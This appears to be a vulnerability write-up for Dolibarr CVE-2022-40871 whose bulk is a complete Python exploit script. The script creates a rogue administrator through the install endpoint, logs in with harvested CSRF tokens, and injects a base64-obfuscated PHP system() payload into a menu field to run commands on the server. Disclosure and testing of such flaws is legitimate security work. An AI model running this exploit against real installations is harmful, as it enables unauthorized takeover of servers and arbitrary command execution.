Dolibarr Edit Php Remote Command Execution Vulnerability Cve 2022 40871
Dolibarr Edit Php Remote Command Execution Vulnerability Cve 2022 40871
Dolibarr edit.php remote command execution vulnerability CVE-2022-40871
Vulnerability Description
Dolibarr edit.php has a remote command execution vulnerability. After an attacker creates an administrator through a logical vulnerability, he can obtain server permissions through a background vulnerability.
Vulnerability Impact
Dolibarr <= 15.0.3
Network surveying and mapping
“Dolibarr”
Vulnerability reappears
Login page
Use POC to create a user for command execution
Vulnerability POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import requests
from requests.packages import urllib3
import time
import random
import sys
import re
sess = requests.Session()
pcre = re.compile(r'name=\"token\"\s+value=\"([^>]+)\"\s*[/]*>')
def request(method, url, headers=None, data=None, proxies=None, timeout=30):
i = 1
urllib3.disable_warnings()
resp = None
proxies = proxies
while i <= 3:
try:
resp = sess.request(method=method, url=url, headers=headers,
data=data, proxies=proxies, timeout=timeout, verify=False)
break
except requests.exceptions.TooManyRedirects:
break
except requests.exceptions.ConnectionError as e:
time.sleep(2 + random.randint(1, 4))
except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout):
time.sleep(2 + random.randint(1, 4))
finally:
i += 1
if i > 3:
print('[-]Error retrieve with max retries: {}'.format(url))
return resp
def exp():
if len(sys.argv) < 2:
sys.exit('Usage: python3 {} https://xxxxx.com/'.format(sys.argv[0]))
if sys.argv[1][-1] == '/':
base = sys.argv[1].rsplit('/', 1)[0]
else:
base = sys.argv[1]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
}
#proxies = {'http': 'https://127.0.0.1:8082', 'https': 'https://127.0.0.1:8082'}
proxies = None
res = request('GET', base, headers=headers, proxies=proxies)
err_flag = 1
if res:
print('[*] Attempt to add admin.')
base = res.url.rsplit('/', 1)[0]
add_admin_url = '{}/install/step5.php'.format(base)
data = {
'action': 'set',
'login': 'testadmins',
'pass': 'testadmins',
'pass_verif': 'testadmins',
'selectlang': 'auto'
}
headers['Content-Type'] = 'application/x-www-form-urlencoded'
res = request('POST', add_admin_url, headers=headers, data=data, proxies=proxies)
if res and 'created successfully' in res.text or ('exists' in res.text and 'Email already exists' not in res.text):
csrf_token_url = '{}/index.php'.format(base)
res = request('GET', csrf_token_url, headers=headers, proxies=proxies)
if res:
print('[*] Attempt to login.')
try:
csrf_token = pcre.findall(res.text)[0]
except:
csrf_token = ''
login_url = '{}/index.php?mainmenu=home'.format(base)
headers['Referer'] = csrf_token_url
data = {
'token':'{}'.format(csrf_token),
'actionlogin': 'login',
'loginfunction': 'loginfunction',
'username': 'testadmins',
'password': 'testadmins'
}
res = request('POST', login_url, headers=headers, data=data, proxies=proxies)
if res and res.status_code == 200 and 'logout.php' in res.text:
print('[*] Attempt to get csrf token.')
csrf_token_url = '{}/admin/menus/edit.php?menuId=0&action=create&menu_handler=eldy_menu'.format(base)
res = request('GET', csrf_token_url, headers=headers, proxies=proxies)
if res:
print('[*] Attemp to inset evil data.')
try:
csrf_token = pcre.findall(res.text)[0]
except:
csrf_token = ''
inset_evil_url = '{}/admin/menus/edit.php'.format(base)
data = {
'token': '{}'.format(csrf_token),
'action': 'add',
'menuId': random.randint(10000, 99999),
'menu_handler': 'eldy_menu',
'user': 2,
'type': 1,
'titre': 1,
'url': 1,
'enabled': "1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//" #execute id command,bypass core/lib/function.lib.php limits
}
res = request('POST', inset_evil_url, headers=headers, data=data, proxies=proxies)
if res and res.history[0].status_code == 302:
print('[*] Attemp to execute command.')
request('GET', '{}/admin/menus/index.php'.format(base), headers=headers, proxies=proxies)
time.sleep(3)
evil_url = '{}/admin/index.php'.format(base)
res = request('GET', evil_url, headers=headers, proxies=proxies)
if res and res.status_code == 200 and 'pwned!!!' in res.text:
print(res.text[:100])
print('[+] vulnrable! {}'.format(base))
err_flag = 0
if err_flag:
print('[-] {} is not exploitable.'.format(sys.argv[1]))
exp()
This post is licensed under CC BY 4.0 by the author.